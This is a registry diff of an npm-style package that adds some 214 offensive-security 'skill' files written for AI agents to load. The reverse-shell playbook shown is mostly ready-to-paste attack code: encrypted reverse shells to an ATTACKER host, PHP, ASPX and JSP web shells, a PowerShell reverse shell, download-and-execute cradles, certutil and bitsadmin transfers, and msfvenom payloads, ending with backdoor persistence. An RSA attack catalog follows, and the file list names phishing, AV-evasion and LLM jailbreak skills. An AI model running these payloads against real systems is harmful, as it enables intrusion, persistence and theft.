ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,290 @@
1
+ ---
2
+ name: reverse-shell-techniques
3
+ description: >-
4
+ Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.gated: true
5
+ ---
6
+
7
+ # SKILL: Reverse Shell Techniques — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [tunneling-and-pivoting](../tunneling-and-pivoting/SKILL.md) after shell access for network pivoting
16
+ - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) or [windows-privilege-escalation](../windows-privilege-escalation/SKILL.md) after landing shell
17
+ - [windows-av-evasion](../windows-av-evasion/SKILL.md) when AV blocks shell payloads
18
+
19
+ ### Quick Reference
20
+
21
+ Also load [SHELL_CHEATSHEET.md](./SHELL_CHEATSHEET.md) when you need:
22
+ - Complete one-liner reverse shells for 20+ languages
23
+ - Copy-paste ready payloads with placeholder substitution
24
+
25
+ ---
26
+
27
+ ## 1. REVERSE vs BIND SHELL DECISION
28
+
29
+ | Factor | Reverse Shell | Bind Shell |
30
+ |---|---|---|
31
+ | Firewall (egress) | Works if outbound allowed | Blocked by egress filtering |
32
+ | Firewall (ingress) | Not blocked | Requires inbound access to victim |
33
+ | NAT | Works (victim connects out) | Fails (can't reach victim behind NAT) |
34
+ | Detection | Outbound connection — less suspicious | Listening port — easily detected |
35
+ | Default choice | **Almost always preferred** | Only when no egress + have inbound |
36
+
37
+ ---
38
+
39
+ ## 2. ENCRYPTED SHELLS
40
+
41
+ ### OpenSSL Reverse Shell
42
+
43
+ ```bash
44
+ # Attacker: generate cert + listen
45
+ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
46
+ openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
47
+
48
+ # Victim:
49
+ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s
50
+ ```
51
+
52
+ ### Socat Encrypted Shell
53
+
54
+ ```bash
55
+ # Attacker: generate cert + listen
56
+ openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
57
+ cat shell.key shell.crt > shell.pem
58
+ socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT
59
+
60
+ # Victim:
61
+ socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
62
+ ```
63
+
64
+ ### Ncat SSL
65
+
66
+ ```bash
67
+ # Attacker:
68
+ ncat --ssl -lvnp 4444
69
+
70
+ # Victim:
71
+ ncat --ssl ATTACKER 4444 -e /bin/bash
72
+ ```
73
+
74
+ ---
75
+
76
+ ## 3. WEB SHELLS
77
+
78
+ ### PHP
79
+
80
+ ```php
81
+ <?php system($_GET['cmd']); ?>
82
+ <?php echo shell_exec($_GET['cmd']); ?>
83
+ <?php passthru($_REQUEST['cmd']); ?>
84
+
85
+ <!-- Minimal stealth shell -->
86
+ <?=`$_GET[0]`?>
87
+
88
+ <!-- POST-based with password -->
89
+ <?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>
90
+ ```
91
+
92
+ ### ASPX
93
+
94
+ ```aspx
95
+ <%@ Page Language="C#" %>
96
+ <%@ Import Namespace="System.Diagnostics" %>
97
+ <% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>
98
+ ```
99
+
100
+ ### JSP
101
+
102
+ ```jsp
103
+ <%@ page import="java.io.*" %>
104
+ <% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
105
+ BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
106
+ String l;while((l=br.readLine())!=null){out.println(l);} %>
107
+ ```
108
+
109
+ ### Upload + Trigger Patterns
110
+
111
+ ```
112
+ 1. Find upload endpoint → upload shell with allowed extension bypass
113
+ 2. Locate uploaded file (predictable path, directory listing, response leak)
114
+ 3. Trigger: GET /uploads/shell.php?cmd=id
115
+ 4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
116
+ ```
117
+
118
+ ---
119
+
120
+ ## 4. PTY UPGRADE SEQUENCE
121
+
122
+ ### Standard Python Upgrade
123
+
124
+ ```bash
125
+ # Step 1: Spawn PTY
126
+ python3 -c 'import pty;pty.spawn("/bin/bash")'
127
+
128
+ # Step 2: Background shell
129
+ # Press Ctrl+Z
130
+
131
+ # Step 3: Configure terminal (on attacker)
132
+ stty raw -echo; fg
133
+
134
+ # Step 4: Set environment (back in shell)
135
+ export TERM=xterm-256color
136
+ stty rows 40 cols 160
137
+ ```
138
+
139
+ ### Alternative Upgrades
140
+
141
+ ```bash
142
+ # script command
143
+ script /dev/null -c bash
144
+
145
+ # socat full PTY (requires socat on victim)
146
+ # Attacker:
147
+ socat file:`tty`,raw,echo=0 tcp-listen:4444
148
+ # Victim:
149
+ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444
150
+
151
+ # rlwrap for readline support (attacker side)
152
+ rlwrap nc -lvnp 4444
153
+
154
+ # expect
155
+ /usr/bin/expect -c 'spawn bash; interact'
156
+ ```
157
+
158
+ ---
159
+
160
+ ## 5. FILE TRANSFER METHODS
161
+
162
+ ### Linux
163
+
164
+ ```bash
165
+ # wget / curl
166
+ wget http://ATTACKER:8000/file -O /tmp/file
167
+ curl http://ATTACKER:8000/file -o /tmp/file
168
+
169
+ # Python HTTP server (attacker side)
170
+ python3 -m http.server 8000
171
+
172
+ # nc file transfer
173
+ # Receiver:
174
+ nc -lvnp 9999 > file
175
+ # Sender:
176
+ nc RECEIVER 9999 < file
177
+
178
+ # base64 encode/decode (no tools needed)
179
+ # Encode on source:
180
+ base64 -w0 file
181
+ # Paste on target:
182
+ echo "BASE64_STRING" | base64 -d > file
183
+
184
+ # scp through pivot
185
+ scp -o ProxyJump=pivot user@target:/path/file ./local
186
+ ```
187
+
188
+ ### Windows
189
+
190
+ ```powershell
191
+ # PowerShell DownloadFile
192
+ (New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')
193
+
194
+ # PowerShell Invoke-WebRequest (PS 3.0+)
195
+ Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
196
+ iwr http://ATTACKER/file -o C:\temp\file
197
+
198
+ # certutil
199
+ certutil -urlcache -f http://ATTACKER/file C:\temp\file
200
+
201
+ # bitsadmin
202
+ bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file
203
+
204
+ # SMB share (attacker hosts)
205
+ # Attacker: impacket-smbserver share /tmp/share -smb2support
206
+ copy \\ATTACKER\share\file C:\temp\file
207
+ ```
208
+
209
+ ---
210
+
211
+ ## 6. POWERSHELL REVERSE SHELLS
212
+
213
+ ```powershell
214
+ # One-liner TCP reverse shell
215
+ $c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
216
+
217
+ # Download cradle + execute
218
+ powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
219
+
220
+ # Base64 encoded execution
221
+ $cmd = '...reverse shell code...'
222
+ $bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
223
+ $encoded = [Convert]::ToBase64String($bytes)
224
+ powershell -ep bypass -enc $encoded
225
+ ```
226
+
227
+ ---
228
+
229
+ ## 7. MSFVENOM PAYLOADS
230
+
231
+ ```bash
232
+ # Linux reverse shell (ELF)
233
+ msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell
234
+
235
+ # Windows reverse shell (EXE)
236
+ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
237
+
238
+ # Meterpreter (staged)
239
+ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe
240
+
241
+ # Web payloads
242
+ msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
243
+ msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
244
+ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx
245
+
246
+ # DLL / HTA / VBS
247
+ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
248
+ msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
249
+ msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs
250
+ ```
251
+
252
+ ---
253
+
254
+ ## 8. DECISION TREE
255
+
256
+ ```
257
+ Need remote shell on target
258
+
259
+ ├── Can execute commands already (RCE)?
260
+ │ ├── Linux target?
261
+ │ │ ├── bash/python/perl available? → one-liner reverse shell (CHEATSHEET.md)
262
+ │ │ ├── Need encryption? → OpenSSL or socat SSL shell (§2)
263
+ │ │ └── Outbound blocked? → bind shell or tunnel (see tunneling-and-pivoting)
264
+ │ │
265
+ │ ├── Windows target?
266
+ │ │ ├── PowerShell available? → PS reverse shell (§6)
267
+ │ │ ├── Need binary? → msfvenom payload (§7)
268
+ │ │ └── AV blocking? → load windows-av-evasion skill
269
+ │ │
270
+ │ └── Web server (upload possible)?
271
+ │ ├── PHP? → PHP web shell (§3) → upgrade to reverse shell
272
+ │ ├── ASP.NET? → ASPX shell (§3)
273
+ │ └── Java/Tomcat? → JSP shell (§3)
274
+
275
+ ├── Got a dumb shell?
276
+ │ ├── Python available? → PTY upgrade (§4)
277
+ │ ├── script available? → script /dev/null -c bash (§4)
278
+ │ ├── socat on target? → socat full PTY (§4)
279
+ │ └── None? → rlwrap on attacker side for readline
280
+
281
+ ├── Need to transfer tools?
282
+ │ ├── Linux: wget/curl/nc/base64 (§5)
283
+ │ ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5)
284
+ │ └── No outbound? → base64 copy-paste (§5)
285
+
286
+ └── Shell established — next steps?
287
+ ├── Privilege escalation → load linux/windows-privilege-escalation
288
+ ├── Pivot to internal network → load tunneling-and-pivoting
289
+ └── Persistence → implant backdoor
290
+ ```
@@ -0,0 +1,432 @@
1
+ # RSA Attack Catalog — Detailed Implementations & Mathematics
2
+
3
+ > **AI LOAD INSTRUCTION**: Load this when you need full mathematical derivations, complete SageMath/Python implementations, and edge-case handling for each RSA attack. Assumes the main [SKILL.md](./SKILL.md) is already loaded for attack selection and decision trees.
4
+
5
+ ---
6
+
7
+ ## 1. FACTORIZATION METHODS — DETAILED
8
+
9
+ ### 1.1 Trial Division
10
+
11
+ ```python
12
+ def trial_division(n, limit=10**6):
13
+ """Factor n by trial division up to limit."""
14
+ factors = []
15
+ d = 2
16
+ while d * d <= n and d <= limit:
17
+ while n % d == 0:
18
+ factors.append(d)
19
+ n //= d
20
+ d += 1
21
+ if n > 1:
22
+ factors.append(n)
23
+ return factors
24
+ ```
25
+
26
+ ### 1.2 Pollard's Rho
27
+
28
+ ```python
29
+ from math import gcd
30
+ from random import randint
31
+
32
+ def pollard_rho(n):
33
+ """Pollard's rho factorization."""
34
+ if n % 2 == 0:
35
+ return 2
36
+ x = randint(2, n - 1)
37
+ y = x
38
+ c = randint(1, n - 1)
39
+ d = 1
40
+ while d == 1:
41
+ x = (x * x + c) % n
42
+ y = (y * y + c) % n
43
+ y = (y * y + c) % n
44
+ d = gcd(abs(x - y), n)
45
+ return d if d != n else None
46
+ ```
47
+
48
+ ### 1.3 Williams' p+1
49
+
50
+ Works when p+1 is smooth (complement to Pollard's p-1).
51
+
52
+ ```python
53
+ def williams_pp1(n, B=10**6):
54
+ """Williams p+1 factorization."""
55
+ from sympy import nextprime
56
+
57
+ for A in range(3, 20):
58
+ v = A
59
+ p = 2
60
+ while p < B:
61
+ e = 1
62
+ pe = p
63
+ while pe * p <= B:
64
+ pe *= p
65
+ e += 1
66
+ # Lucas chain multiplication
67
+ v = lucas_chain(v, pe, n)
68
+ p = nextprime(p)
69
+
70
+ g = gcd(v - 2, n)
71
+ if 1 < g < n:
72
+ return g
73
+ return None
74
+ ```
75
+
76
+ ### 1.4 Quadratic Sieve (Concept)
77
+
78
+ For n in range 10^30 to 10^100. Use yafu or msieve for implementation.
79
+
80
+ ```
81
+ Algorithm outline:
82
+ 1. Choose factor base of small primes
83
+ 2. Sieve for B-smooth values of Q(x) = (x + ⌈√n⌉)² - n
84
+ 3. Collect enough smooth relations (≥ factor base size + 1)
85
+ 4. Linear algebra over GF(2) to find subset product = perfect square
86
+ 5. Compute gcd(x² - y², n) to find factor
87
+ ```
88
+
89
+ ---
90
+
91
+ ## 2. SMALL EXPONENT ATTACKS — DETAILED
92
+
93
+ ### 2.1 Cube Root with Padding Search
94
+
95
+ When m^e slightly exceeds n (wraps around a few times):
96
+
97
+ ```python
98
+ from gmpy2 import iroot, mpz
99
+
100
+ def cube_root_with_wrap(c, e, n, max_k=10000):
101
+ """Try c + k*n for small k, check if perfect e-th root."""
102
+ for k in range(max_k):
103
+ m, exact = iroot(mpz(c + k * n), e)
104
+ if exact:
105
+ return int(m)
106
+ return None
107
+ ```
108
+
109
+ ### 2.2 Hastad with Linear Padding
110
+
111
+ When messages have linear padding: mᵢ = a·m + bᵢ (different padding per recipient).
112
+
113
+ ```python
114
+ # SageMath
115
+ def hastad_linear_padding(n_list, c_list, e, a_list, b_list):
116
+ """Hastad attack with linear padding: m_i = a_i * m + b_i."""
117
+ assert len(n_list) == e
118
+
119
+ # Build polynomial for CRT
120
+ N = product(n_list)
121
+ R.<x> = PolynomialRing(Zmod(N))
122
+
123
+ g = 0
124
+ for i in range(e):
125
+ Ni = N // n_list[i]
126
+ ti = inverse_mod(Ni, n_list[i])
127
+ fi = (a_list[i] * x + b_list[i])^e - c_list[i]
128
+ g += fi * Ni * ti
129
+
130
+ g = g.monic()
131
+ roots = g.small_roots()
132
+ if roots:
133
+ return int(roots[0])
134
+ return None
135
+ ```
136
+
137
+ ### 2.3 Coppersmith's Short Pad Attack
138
+
139
+ Two encryptions of same message with different short random padding (r₁, r₂):
140
+
141
+ ```python
142
+ # SageMath
143
+ def short_pad_attack(n, e, c1, c2, pad_bits):
144
